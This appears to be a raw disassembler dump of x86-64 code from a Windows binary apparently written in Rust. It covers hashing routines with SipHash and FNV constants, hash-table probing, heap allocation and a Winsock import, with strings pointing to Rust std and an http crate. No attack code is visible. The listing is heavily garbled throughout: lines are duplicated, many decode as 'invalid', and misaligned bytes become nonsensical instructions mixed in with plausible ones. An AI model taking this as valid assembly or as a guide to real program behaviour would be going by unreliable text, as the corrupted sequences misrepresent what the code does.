lea rcx, [rax + 0xb0]
lea rdx, [0x140165fa0]
call fcn.14014a0c0
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x100], 1
lea rcx, [rbx + 0xc40]
lea rdx, [rbx + 0x990]
mov r8d, 0x2a8
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r13, qword [rax + 0xb0]
movabs rax, 0x7ffffffffffffffe
cmp r13, rax
mov qword [rbx + 0x68], r13
ja 0x140136705
lea rax, [r13 + 1]
mov ecx, dword [0x14023c30c]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0xb0], rax
mov rdi, qword [rcx + 0xb8]
lea rcx, [rbx + 0x6b0]
lea rdx, [rbx + 0x990]
mov r8d, 0x2a8
call sub.VCRUNTIME140.dll_memcpy
cmp rdi, 2
je 0x140136716
add byte [rdi], cl
xchg esp, eax
ror byte [rax + 1], 0xc0
xor r12d, r12d
lea rcx, [rbx + 0x180]
movdqa xmm6, xmmword [str.uespemosarenegylmodnarodsetybdetOOOOOOOOOOOOOOOOf]
movdqa xmm7, xmmword [0x14018f6c0]
pxor xmm8, xmm8
out dx, eax
ror byte [rax - 0x73], 0xbb
add byte [rdx], al
add byte [rax], al
out dx, eax
ror byte [rax - 0x73], 0xbb
add byte [rdx], al
add byte [rax], al
mov r8, qword [rbx + 0x88]
mov qword [rbx + 0x120], r13
cmp rax, 2
mov qword [rbx + 0x88], r8
jne 0x140134e43
jmp 0x140134f20
mov rsi, qword [r13 + 0x150]
imul rax, r12, 0x68
mov rdx, qword [rsi + rax + 8]
mov qword [rbx + 0x128], rdx
cmp qword [rsi + rax], 1
mov edx, 0
add byte [rax], al
add byte [rax - 0x7d], cl
adc edx, 1
mov qword [rbx + 0x90], rdx
lea r14, [rsi + rax]
add r14, 0x18
mov byte [rbx + 0x54], 1
mov byte [rbx + 0x55], 1
call fcn.140066ea0
imul rax, r12, 0x68
lea r11, [rsi + rax]
add r11, 0x40
mov rcx, qword [rbx + 0x180]
mov rax, rcx
mov qword [rbx + 0x100], rcx
cmp rcx, 2
mov qword [rbx + 0xd8], r14
mov qword [rbx + 0x68], r11
mov qword [rbx + 0xa8], r12
jne 0x140134850
add byte [rax], al
movdqu xmm0, xmmword [rbx + 0x188]
pshufd xmm1, xmm0, 0x44
pxor xmm1, xmm6
pxor mm1, mm6
movdqa xmmword [rbx + 0x200], xmm1
pshufd xmm1, xmm0, 0xee
pxor xmm1, xmm7
movdqa xmmword [rbx + 0x210], xmm1
movdqa xmmword [rbx + 0x220], xmm0
lea rax, [rbx + 0x208]
movdqa xmmword [rax + 0x28], xmm8
mov qword [rax + 0x38], 0
mov rsi, qword [r11]
xor esi, dword [rcx]
ror byte [rax - 0x7b], 0xf6
xor esi, dword [rcx]
ror byte [rax - 0x7b], 0xf6
setne al
mov qword [rbx + 0x6b0], rax
mov r8d, 8
mov rcx, rdi
lea r14, [rbx + 0x6b0]
mov rdx, r14
mov r15, r11
mov edi, ebx
mov edi, ebx
call fcn.1400229b0
test rsi, rsi
je 0x1401348e0
mov rdx, qword [r15 + 8]
mov r8, qword [r15 + 0x10]
mov rcx, rdi
jmp 0x1401348f8
mov rax, qword [r11]
xor edx, edx
test rax, rax
setne dl
movabs rcx, 0xcbf29ce484222325
xor rdx, rcx
movabs rcx, 0x1efac7090aef4a21
imul rdx, rcx
test rax, rax
je 0x140134a00
mov r8, qword [r11 + 0x10]
test r8, r8
movabs r10, 0x100000001b3
je 0x140134a0c
mov rax, qword [r11 + 8]
mov r9, r8
and r9, 7
je 0x140134a11
mov rcx, rax
nop word [rax + rax]
movzx esi, byte [rcx]
inc rcx
xor rsi, rdx
imul rsi, r10
mov rdx, rsi
dec r9
jne 0x1401348b0
cmp r8, 8
jae 0x140134a1d
jmp 0x140134a90
movzx eax, byte [r15 + 8]
mov qword [rbx + 0x6b0], rax
mov dword [rbx + 0x6b0], eax
mov dh, 0x47
or byte [rax - 0x77], cl
mov dword [rbx + 0x6b0], eax
mov r8d, 8
mov dword [rbx + 0x6b0], eax
mov r8d, 8
mov rcx, rdi
mov rdx, r14
call fcn.1400229b0
mov rax, qword [rbx + 0x210]
mov r9, qword [rbx + 0x230]
mov esi, dword [rax]
add al, byte [rax]
add byte [rcx - 0x3f], cl
loope 0x140134947
mov esi, dword [rax]
add al, byte [rax]
add byte [rcx - 0x3f], cl
loope 0x140134947
or r9, qword [rbx + 0x238]
mov rcx, qword [rbx + 0x218]
mov r8, qword [rbx + 0x200]
add r8, rax
rol rax, 0xd
xor rcx, r9
xor rax, r8
rol r8, 0x20
mov rdx, qword [rbx + 0x208]
add rdx, rcx
rol rcx, 0x10
rol ecx, 0x10
rol ecx, 0x10
xor rcx, rdx
xor ecx, edx
add r8, rcx
add eax, ecx
enter 0xffffffffffffc148, 0xffffffffffffffc1
rol rcx, 0x15
add rdx, rax
adc eax, 0x48c20148
rol eax, 0x11
rol rax, 0x11
xor rcx, r8
xor ecx, eax
xor rax, rdx
rol rdx, 0x20
xor r8, r9
enter 0x149, 0xffffffffffffffc0
enter 0x149, 0xffffffffffffffc0
rol rax, 0xd
xor rax, r8
rol r8, 0x20
rol eax, 0x20
rol eax, 0x20
xor rdx, 0xff
xor edx, 0xff
add byte [rax], al
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rax, rdx
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
xor rax, r8
rol r8, 0x20
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rax, rdx
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
xor rax, r8
add rdx, rcx
shl rcx, 0x10
xor rcx, rdx
shr rcx, 0x2b
add rdx, rax
shr rax, 0x2f
xor rax, rcx
mov rsi, rdx
shr rsi, 0x20
xor rsi, rdx
xor rsi, rax
mov r11, qword [rbx + 0x68]
jmp 0x140134a90
movzx eax, byte [r11 + 8]
xor rdx, rax
imul rdx, rcx
mov rsi, rdx
jmp 0x140134a90
mov rsi, rdx
mov rcx, rax
cmp r8, 8
jb 0x140134a90
add rax, r8
movzx edx, byte [rcx]
xor rdx, rsi
imul rdx, r10
movzx r8d, byte [rcx + 1]
xor r8, rdx
imul r8, r10
movzx edx, byte [rcx + 2]
xor rdx, r8
imul rdx, r10
movzx r8d, byte [rcx + 3]
xor r8, rdx
imul r8, r10
movzx edx, byte [rcx + 4]
xor rdx, r8
imul rdx, r10
movzx r8d, byte [rcx + 5]
xor r8, rdx
imul r8, r10
movzx edx, byte [rcx + 6]
xor rdx, r8
imul rdx, r10
movzx esi, byte [rcx + 7]
add rcx, 8
xor rsi, rdx
imul rsi, r10
cmp rcx, rax
jne 0x140134a20
nop word cs:[rax + rax]
and esi, 0x7fff
movzx edi, word [rbx + 0x1d8]
mov r14d, esi
and r14d, edi
mov r15, qword [rbx + 0x198]
mov r12, qword [rbx + 0x1a0]
mov r9, qword [rbx + 0x1b8]
mov r10, qword [rbx + 0x1a8]
xor r13d, r13d
mov qword [rbx + 0x78], r9
mov qword [rbx + 0xb0], r10
jmp 0x140134ae6
movzx eax, byte [rax + 8]
cmp al, byte [r11 + 8]
je 0x140134ec6
nop dword [rax]
inc r13
inc r14
mov rax, r14
nop dword [rax]
mov r14, rax
mov eax, 0
cmp r14, r12
jae 0x140134af0
movzx ecx, word [r15 + r14*4]
cmp rcx, 0xffff
je 0x140134ba0
movzx eax, word [r15 + r14*4 + 2]
mov edx, edi
and edx, eax
mov r8d, r14d
sub r8d, edx
mov edx, edi
and edx, r8d
cmp rdx, r13
cmp edx, ebp
jb 0x140134c30
cmp ax, si
jne 0x140134ae0
cmp r9, rcx
jbe case.0x140124c59.64
imul rax, rcx, 0x68
mov rcx, qword [r10 + rax + 0x40]
test rcx, rcx
setne dl
cmp qword [r11], 0
sete r8b
cmp dl, r8b
je 0x140134ae0
add rax, r10
add rax, 0x40
test rcx, rcx
je 0x140134acf
mov r8, qword [rax + 0x10]
cmp r8, qword [r11 + 0x10]
jne 0x140134ae0
mov rdx, qword [r11 + 8]
mov rcx, qword [rax + 8]
call sub.VCRUNTIME140.dll_memcmp
mov r10, qword [rbx + 0xb0]
mov r9, qword [rbx + 0x78]
mov r11, qword [rbx + 0x68]
test eax, eax
jne 0x140134ae0
jmp 0x140134ec6
cmp r13, 0x200
setae r13b
cmp dword [rbx + 0x100], 2
setne dil
mov rax, qword [r11]
test rax, rax
je 0x140134cc0
mov rax, qword [rax]
lea rdx, [r11 + 0x18]
mov r8, qword [r11 + 8]
mov r9, qword [r11 + 0x10]
mov byte [rbx + 0x54], 1
mov byte [rbx + 0x55], 1
lea rcx, [rbx + 0x200]
call rax
mov rax, qword [rbx + 0x200]
movzx ecx, byte [rbx + 0x208]
movzx edx, byte [rbx + 0x20f]
shl edx, 0x10
adc byte [rdi + rcx - 0x49], al
or dword [0x181134c06], 9
ror byte [rcx - 0x3f], 1
loopne 0x140134c29
adc byte [rdi + rcx - 0x49], al
or dword [0x181134c06], 9
ror byte [rcx - 0x3f], 1
loopne 0x140134c29
mov r10d, dword [rbx + 0x209]
or r10, r8
lea rdx, [rbx + 0x208]
movdqu xmm0, xmmword [rdx + 8]
movdqa xmmword [rbx + 0x6b0], xmm0
jmp 0x140134cce
add byte [rax], al
add byte [rdi], cl
invalid
cmp r13, 0x200
setae r13b
cmp dword [rbx + 0x100], 2
setne dil
mov rax, qword [r11]
test rax, rax
ror byte [rax - 0x75], 0x93
js 0x140134c56
add byte [rax], al
ror byte [rax - 0x75], 0x93
js 0x140134c56
add byte [rax], al
je 0x140134cf0
add byte [rax], al
add byte [rax - 0x75], cl
add byte [rcx - 0x73], cl
push rbx
sbb byte [rbp - 0x75], cl
or byte [r13 - 0x75], cl
adc r14b, al
push r12
add esi, eax
push r13
add dword [rax - 0x73], ecx
mov eax, dword [rax]
add al, byte [rax]
add bh, bh
ror byte [rax - 0x75], 1
add dword [rax], 2
add byte [rax], al
mov rax, qword [rax]
lea rdx, [r11 + 0x18]
mov r8, qword [r11 + 8]
mov r9, qword [r11 + 0x10]
mov byte [rbx + 0x54], 1
mov byte [rbx + 0x55], 1
lea rcx, [rbx + 0x200]
call rax
mov rax, qword [rbx + 0x200]
movzx ecx, byte [rbx + 0x208]
movzx edx, byte [rbx + 0x20f]
shl edx, 0x10
movzx r8d, word [rbx + 0x20d]
or r8d, edx
shl r8, 0x20
shl eax, 0x20
shl eax, 0x20
mov edx, dword [rbx + 0x209]
or rdx, r8
lea r8, [rbx + 0x208]
add al, byte [rax]
add bl, dh
movq mm0, qword [r8 + 8]
add al, byte [rax]
add bl, dh
movq mm0, qword [r8 + 8]
movdqa xmmword [rbx + 0x6b0], xmm0
jmp 0x140134cf7
movzx ecx, byte [r11 + 8]
xor eax, eax
mov r10, qword [rbx + 0x88]
and r13b, dil
movaps xmm0, xmmword [rbx + 0x6b0]
movaps xmmword [rbx + 0xc40], xmm0
mov qword [rbx + 0x88], r10
mov rdx, r10
jmp case.0x1401156eb.386
movzx ecx, byte [r11 + 8]
xor eax, eax
and r13b, dil
movaps xmm0, xmmword [rbx + 0x6b0]
add byte [rax], al
add byte [rax], al
movaps xmmword [rbx + 0xc40], xmm0
mov qword [rbx + 0x578], rdx
shl rdx, 8
movzx ecx, cl
or rcx, rdx
lea r15, [rbx + 0x180]
lea edi, [rbx + 0x180]
movdqa xmm0, xmmword [rbx + 0xc40]
movdqa xmmword [rbx + 0x990], xmm0
jg 0x140134caf
nop
or dword [rax], eax
add byte [rax], al
jg 0x140134caf
nop
or dword [rax], eax
add byte [rax], al
mov qword [rbx + 0x200], r15
add byte [rax], al
mov qword [rbx + 0x200], r15
mov qword [rbx + 0x208], rax
mov qword [rbx + 0x210], rcx
lea rdi, [rbx + 0x208]
movdqu xmmword [rdi + 0x10], xmm0
add bl, dh
movq qword [rdi + 0x10], mm0
mov qword [rbx + 0x228], r14
mov word [rbx + 0x230], si
mov byte [rbx + 0x232], r13b
movzx eax, byte [rbx + 0x10f4]
mov byte [rdi + 0x2f], al
mov eax, dword [rbx + 0x10f0]
add byte [rax], al
mov dword [rdi + 0x2b], eax
mov r12, qword [rbx + 0xd8]
fadd dword [rax]
add byte [rax], al
mov rax, qword [r12]
mov r8, qword [r12 + 8]
mov rax, qword [rax]
or byte [rax - 0x75], cl
add byte [rcx - 0x73], cl
lea rdx, [r12 + 0x18]
lea rdx, [r12 + 0x18]
sbb byte [rbp - 0x75], cl
and al, 0x10
and al, 0x10
mov r9, qword [r12 + 0x10]
and al, 0x10
mov byte [rbx + 0xa6], 1
cmpsb byte [rsi], byte [rdi]
add byte [rax], al
add byte [rcx], al
lea rcx, [rbx + 0xc40]
call rax
movzx eax, byte [r12 + 0x20]
movdqu xmm0, xmmword [rbx + 0xc40]
add bl, dh
movq mm1, qword [rbx + 0xc50]
add bl, dh
movq mm1, qword [rbx + 0xc50]
movdqa xmmword [rbx + 0x6c0], xmm1
movdqa xmmword [rbx + 0x6b0], xmm0
add byte [rsi + 0xf], ah
jg 0x140134d4b
mov al, 6
add byte [rax], al
mov byte [rbx + 0x6d0], al
mov byte [rbx + 0xa6], 0
mov byte [rsp + 0x28], r13b
mov qword [rsp + 0x20], r14
mov rcx, r15
and byte [rcx + rcx*4 - 7], cl
mov rdx, rdi
lea r8, [rbx + 0x6b0]
add byte [rax], al
add byte [rax], al
mov r9d, esi
int1
call fcn.1400677e0
mov rdx, qword [rbx + 0x1b8]
cmp rax, rdx
mov r12, qword [rbx + 0xa8]
test al, 0
add byte [rax], al
test al, 0
add byte [rax], al
jae 0x140136447
mov r13, qword [rbx + 0x120]
lea rcx, [rbx + 0x180]
lea rdi, [rbx + 0x200]
mov rax, qword [rbx + 0x90]
mov r8, qword [rbx + 0x88]
cmp rax, 2
mov qword [rbx + 0x88], r8
or dword [rax + 0xf000000], 0xffffff84
fld qword [rax]
add byte [rax], al
invalid
or dword [rax + 0xf000000], 0xffffff84
fld qword [rax]
add byte [rax], al
invalid
add byte [rdi], cl
test ch, bl
add byte [rax], al
add byte [rcx - 0x75], cl
invalid
xchg ebp, eax
invalid
mov rdx, qword [r13 + 0x160]
mov edx, dword [rbp + 0x160]
add byte [rax], al
cmp r12, rdx
jae 0x140136462
invalid
add byte [rax], al
invalid
invalid
add byte [rax], al
mov rsi, qword [r13 + 0x150]
mov esi, dword [rbp + 0x150]
add byte [rax], al
cmp rax, 1
jne 0x140134747
clc
invalid
invalid
clc
add dword [rdi], ecx
test ebx, esp
clc
invalid
mov rdx, qword [r13 + 0x178]
js 0x140134e6a
add byte [rax], al
add byte [rax - 0x75], cl
sub dword [rax], 1
add byte [rax], al
mov rax, qword [rbx + 0x128]
cmp rax, rdx
jae 0x14013647e
mov rdx, rax
mov rax, qword [r13 + 0x168]
lea rdx, [rdx + rdx*8]
cmp qword [rax + rdx*8 + 0x10], 0
je 0x140134eac
mov r8, qword [rax + rdx*8 + 0x18]
mov eax, dword [rax + rdx*8 + 0x18]
mov qword [rbx + 0x128], r8
mov r8d, 1
add byte [rcx + rcx*4 - 0x7d], cl
nop
add byte [rax], al
add bl, ch
invalid
add byte [rcx + rcx*4 - 0x7d], cl
nop
add byte [rax], al
add bl, ch
or eax, 0x2b841
add byte [rax], al
mov r8d, 2
mov qword [rbx + 0x90], r8
lea r14, [rax + rdx*8]
add r14, 0x20
jmp 0x140134774
movdqu xmm0, xmmword [rbx + 0xc40]
movdqa xmmword [rbx + 0x990], xmm0
mov r8, qword [rbx + 0x88]
mov r13, qword [rbx + 0x120]
mov r12, qword [rbx + 0xa8]
lea rcx, [rbx + 0x180]
lea ecx, [rbx + 0x180]
lea ecx, [rbx + 0x180]
add byte [rax], al
lea rdi, [rbx + 0x200]
mov ebx, 0x200
add byte [rax - 0x75], cl
adc dword [rax + 0x48000000], 0xffffff83
nop
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
invalid
mov rax, qword [rbx + 0x90]
nop
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
invalid
cmp rax, 2
clc
add cl, byte [rcx + rcx*4 - 0x7d]
mov qword [rbx + 0x88], r8
mov qword [rbx + 0x88], r8
mov dword [rbx + 0x88], eax
add byte [rax], al
add byte [rdi], cl
jne 0x140134e43
test dword [rdx], esi
invalid
jmp qword [rsi + 0x66]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rcx - 1], cl
invalid
inc r12
cmp r12, qword [r13 + 0x160]
jb 0x140134740
mov esi, 1
mov rdi, qword [rbx + 0xd0]
test rdi, rdi
mov r14, qword [rbx + 0xc8]
je 0x140134f91
js 0x140136973
and eax, 0xf00001a
mov dh, 5
mov bl, reloc.WS2_32.dll_WSAStartup
adc byte [rax], al
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x140134f7a
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140136959
sbb dword [rax], eax
invalid
sbb dword [rax], eax
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 5
fidiv word [rdx + 0x10]
add byte [rcx], dh
ror byte [rcx - 0x77], cl
mov eax, edi
mov rcx, rax
mov qword [0x14023c258], rax
xor edx, edx
mov r8, rdi
mov eax, edi
mov eax, edi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
je 0x140136959
mov rcx, rsi
mov rdx, r14
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbx + 0x200], rsi
mov dword [rbx + 0x200], esi
mov dword [rbx + 0x200], esi
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rbx + 0x208], rdi
mov ebx, 0x208
add byte [rax - 0x77], cl
mov ebx, 0x210
adc byte [rdx], al
add byte [rax], al
mov qword [rbx + 0x210], rdi
adc byte [rdx], al
add byte [rax], al
mov byte [rbx + 0x54], 1
mov byte [rbx + 0x55], 1
push r13
add dword [rax - 0x73], ecx
invalid
mov al, 6
add byte [rax], al
push r13
add dword [rax - 0x73], ecx
mov esi, dword [rax + 0x48000006]
add byte [rax], al
lea rdx, [rbx + 0x200]
add byte [rax], al
lea rdx, [rbx + 0x200]
call fcn.140012450
mov byte [rbx + 0x54], 1
mov byte [rbx + 0x55], 1
lea rcx, [rbx + 0x200]
lea rdx, [rbx + 0x6b0]
push rsp
add esi, eax
push r13
add dword [rax - 0x73], ecx
mov eax, dword [rax]
add al, byte [rax]
add byte [rax - 0x73], cl
xchg ebx, eax
mov al, 6
add byte [rax], al
call fcn.14003be20
cmp byte [rbx + 0x200], 3
add ecx, dword [rdi]
test byte [rbx], bl
sbb byte [rax], al
invalid
mov rax, qword [rbx + 0x250]
push rax
add al, byte [rax]
add byte [rax - 0x77], cl
xor dword [rax + 5], 0
jo 0x140135008
add byte [rax], al
movups xmm0, xmmword [rbx + 0x240]
mov qword [rbx + 0x570], rax
movups xmm0, xmmword [rbx + 0x240]
jo 0x140135008
movaps xmmword [rbx + 0x560], xmm0
movups xmm0, xmmword [rbx + 0x200]
movdqu xmm1, xmmword [rbx + 0x210]
add bl, dh
movq mm2, qword [rbx + 0x220]
add bl, dh
movq mm2, qword [rbx + 0x220]
movdqu xmm3, xmmword [rbx + 0x230]
movdqa xmmword [rbx + 0x550], xmm3
wait
push rax
add eax, 0xf660000
jg case.0x14011d1d3.136
add eax, 0xf660000
jg case.0x14011d1d3.136
mov esi, dword [rax]
add eax, 0x290f0000
and dword [rax], 5
add byte [rax], al
wait
push rax
add eax, 0xf660000
jg case.0x14011d1d3.136
add eax, 0xf660000
jg case.0x14011d1d3.136
invalid
mov esi, dword [rax]
add eax, 0x290f0000
xor byte [0x16922504c], al
and dword [rax], 5
add byte [rax], al
cmp qword [rbx + 0x590], 0
nop
add eax, 0x48000000
add byte [rax - 0x73], cl
xor eax, 0xb51b8
invalid
push rcx
or eax, dword [rax]
add byte [rax - 0x73], cl
xor eax, 0xb51b8
invalid
push rcx
or eax, dword [rax]
lea rsi, [0x1401ea218]
mov eax, 0x4c000b51
mov ebp, dword [rbx + 0x120]
add dword [rax], eax
invalid
mov r13, qword [rbx + 0x120]
add dword [rax], eax
add byte [rdi], cl
je 0x14013512e
test cl, al
add byte [rax], al
rol dword [rax], 0
add bl, dh
movq mm0, qword [rbx + 0x598]
movdqu xmm0, xmmword [rbx + 0x598]
movdqu xmm1, xmmword [rbx + 0x5a8]
movdqa xmmword [rbx + 0x140], xmm1
add byte [rax], al
add byte [rax], al
movdqa xmmword [rbx + 0x130], xmm0
mov r10, qword [rbx + 0x130]
add byte [rcx], dh
sar byte [rcx], 0x4d
test edx, edx
add byte [rcx], dh
sar byte [rcx], 0x4d
test edx, edx
je 0x1401350eb
lea rdx, [rbx + 0x148]
mov r8, qword [rbx + 0x138]
mov r9, qword [rbx + 0x140]
lea rcx, [rbx + 0x200]
add byte [rcx - 1], al
adc cl, byte [rax - 0x75]
mov eax, dword [rax]
add al, byte [rax]
add bl, dh
movq mm0, qword [rbx + 0x208]
add dword [rax], eax
add byte [rax - 0x73], cl
mov eax, dword [rax]
add al, byte [rax]
add byte [rcx - 1], al
adc cl, byte [rax - 0x75]
mov eax, dword [rax]
add al, byte [rax]
add bl, dh
movq mm0, qword [rbx + 0x208]
movdqa xmmword [rbx + 0x6b0], xmm0
mov rax, qword [rbx + 0x218]
mov eax, dword [rbx + 0x218]
mov eax, dword [rbx + 0x218]
mov qword [rbx + 0x6c0], rax
mov rax, qword [rbx + 0x130]
xor byte [rcx], al
add byte [rax], al
xor byte [rcx], al
add byte [rax], al
mov rdx, qword [rbx + 0x6c0]
mov qword [rbx + 0x210], rdx
movaps xmm0, xmmword [rbx + 0x6b0]
movaps xmmword [rbx + 0x200], xmm0
mov rdx, qword [rbx + 0x138]
mov edx, dword [rbx + 0x138]
mov edx, dword [rbx + 0x138]
add byte [rax], al
movaps xmm0, xmmword [rbx + 0x140]
movaps xmmword [rbx + 0xc40], xmm0
add dword [rax + 0xc], 0
invalid
add dword [rax + 1], 0
add byte [rdi], cl
sub dword [rbx + 0xc40], eax
add dword [rax + 0xc], 0
invalid
add dword [rax + 0xc], 0
or al, 0
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
invalid
mov r8d, 1
add bh, al
sub dword [rax], 1
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov dword [rbx + 0x128], 0
jmp case.0x140126626.41
xorps xmm0, xmm0
movaps xmmword [rbx + 0xc40], xmm0
add byte [rax + 0x28838901], dh
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0x84cf1
add byte [rax + 0x28838901], dh
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0x84cf1
xor r8d, r8d
mov rdx, rsi
mov edx, esi
mov edx, esi
mov qword [rbx + 0x620], r8
mov qword [rbx + 0x628], rcx
movaps xmm0, xmmword [rbx + 0x200]
movups xmmword [rbx + 0x630], xmm0
mov rcx, qword [rbx + 0x210]
add byte [rax - 0x77], cl
mov eax, dword [rax + 6]
add byte [rax], al
invalid
invalid
add byte [rax - 0x77], cl
mov eax, dword [rax + 6]
add byte [rax], al
invalid
invalid
add byte [rax - 0x77], cl
mov qword [rbx + 0x160], rax
and dword [rax + 1], 0
add byte [rax - 0x77], cl
xchg ebx, eax
push 0x66000001
add byte [rax], al
mov qword [rbx + 0x168], rdx
mov dword [rbx + 0x168], edx
movdqa xmm0, xmmword [rbx + 0xc40]
movq mm0, qword [rbx + 0xc40]
or al, 0
add bl, dh
movq qword [rbx + 0x170], mm0
movdqu xmmword [rbx + 0x170], xmm0
cmp byte [r13 + 0x1b9], 0
mov ecx, 1
add byte [rax], al
add byte [rdx + rcx*2 + 0xf], dh
movzx rcx, byte [rbx + 0x520]
test cl, cl
je case.0x14013652c.2
movzx rcx, byte [rbx + 0x520]
movzx ecx, byte [rbx + 0x520]
test cl, cl
je case.0x14013652c.2
movzx eax, cl
cmp eax, 1
je case.0x1401194fb.166
cmp eax, 2
je case.0x14013652c.2
invalid
xor al, dh
push r10
add esi, eax
push r11
add dword [rax - 0x73], ecx
lea ecx, str.internal_error:_entered_unreachable_code_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_threadmod.rs
lea ecx, str.internal_error:_entered_unreachable_code_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_threadmod.rs
or byte [rax], al
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.11_srcuri_scheme.rs
add eax, 0x70903
or dword [rdi], eax
add byte [rdx + 0x28], bh
mov edx, 0x28
add byte [rax], al
call fcn.140186b70
jmp 0x140133cfd
and ebx, ebp
invalid
invalid
sbb dword [0x12b353ada], eax
add eax, 0xeb21e900
and ebx, ebp
invalid
cmp byte [rbx + 0x521], 0
je 0x140135336
add qword [r8], r8
invalid
add byte [rax], al
add byte [rdi], cl
test byte [rbp + 1], cl
add byte [rax], al
add qword [r8], r8
add byte [rsi + 0xf], ah
out dx, eax
pxor xmm0, xmm0
movdqu xmmword [rbx + 0x280], xmm0
add bl, dh
movq qword [rbx + 0x230], mm0
sal bl, 0xf
jg case.0x1400e7c73.718
add dword [rax - 0xcfffffe], 0xf
jg 0x14013517c
invalid
add byte [rdx], 0
add bl, dh
movq qword [rbx + 0x230], mm0
xor dword [rax], 2
xor byte [rdx], al
add al, byte [rax]
add byte [rax], al
add bl, dh
movq qword [rbx + 0x248], mm0
or dword [rax + 2], 0
invalid
movdqu xmmword [rbx + 0x248], xmm0
or dword [rax + 2], 0
add byte [rdi], cl
sub byte [0x14018f610], al
add al, 0xa4
invalid
invalid
movaps xmm0, xmmword [0x14018f610]
add al, 0xa4
add eax, 0x83110f00
adc dword [rbx + 0x6b6], eax
movups xmmword [rbx + 0x6b6], xmm0
adc dword [rbx + 0x6b6], eax
invalid
movabs rax, 0x101010101010101
mov eax, 0x1010101
add dword [rcx], eax
add dword [rcx], eax
invalid
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rax - 0x77], ecx
add esi, 6
mov byte [rsi], 0
invalid
mov qword [rbx + 0x6c6], rax
mov byte [rsi], 0
add byte [rax - 0x39], cl
invalid
invalid
add dword [rax], 2
invalid
mov qword [rbx + 0x200], 0
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
sbb dword [rax], 2
mov qword [rbx + 0x218], 2
mov dword [rbx + 0x218], 2
add byte [rax], al
add al, byte [rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
and dword [rax], 2
add al, byte [rax]
add byte [rax], al
add byte [rax], al
invalid
mov qword [rbx + 0x220], 0
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
sub dword [rax], 2
add byte [rax], al
or byte [rax], al
mov qword [rbx + 0x228], 8
add byte [rax], al
mov qword [rbx + 0x240], 8
mov word [rbx + 0x258], 0
invalid
sbb dword [rax + 2], 0
add byte [rax], al
add byte [rax], al
add dword [rax + 2], 0
add al, byte [rax]
add byte [rax], cl
add byte [rax], al
add byte [rsi - 0x39], ah
invalid
sbb dword [rax + 2], 0
invalid
mov dword [rbx + 0x258], 0x83c60000
invalid
pop rax
add al, byte [rax]
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add dh, al
and dword [rax + 2], 0
mov byte [rbx + 0x260], 0
add byte [rax], al
lea rax, [0x1401b9e38]
or byte [rax], al
mov qword [rbx + 0x270], rax
mov qword [rbx + 0x278], rsi
js case.0x1401207b8.125
add byte [rax], al
xor dword [rax + 2], 0
add byte [rax - 0x77], cl
mov bl, 0x78
js case.0x1401207b8.125
add byte [rax], al
mov qword [rbx + 0x290], rax
invalid
invalid
js case.0x1401207b8.125
mov qword [rbx + 0x290], rax
lea rax, [0x1401eaa68]
lea eax, [0x1401eaa68]
add al, byte [rax]
add byte [rax - 0x73], cl
invalid
lea eax, [0x1401eaa68]
add eax, 0xb57da
or eax, dword [rax]
mov qword [rbx + 0x298], rax
mov dword [rbx + 0x298], eax
sbb dword [rax + 0x48000002], 0xffffffc7
add byte [rax - 0x39], cl
mov qword [rbx + 0x2a0], 1
and dword [rax + 0x1000002], 0
movabs al, byte [0x4800000001000002]
mov dword [rbx + 0x2a8], 0
add al, byte [rax]
add byte [rax], al
add byte [rax], al
invalid
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rbx + 0x2a8], 0
add byte [rax], al
mov qword [rbx + 0x2a8], 0
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rsi - 0x39], ah
invalid
mov word [rbx + 0x2b0], 0xffff
mov dword [rbx + 0x2b0], 0x8b48ffff
cmp dword [rsi + 0x48000006], 0xffffff89
invalid
add byte [rax], al
invalid
invalid
add eax, 2
xor dword [rax - 0xfffffe], 0xffffffff
add byte [rax], al
invalid
mov rax, qword [rbx + 0x6be]
mov qword [rbx + 0x2c0], rax
mov dword [rbx + 0x2c0], eax
invalid
mov dword [rbx + 0x2c0], eax
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rbx + 0x6c6]
mov eax, dword [rbx + 0x6c6]
add esi, 6
add byte [rax], al
add byte [rax - 0x77], cl
or eax, 2
add byte [rax], al
mov qword [rbx + 0x2c8], rax
enter 2, 0
movdqu xmm0, xmmword [rbx + 0x6b0]
movq mm0, qword [rbx + 0x6b0]
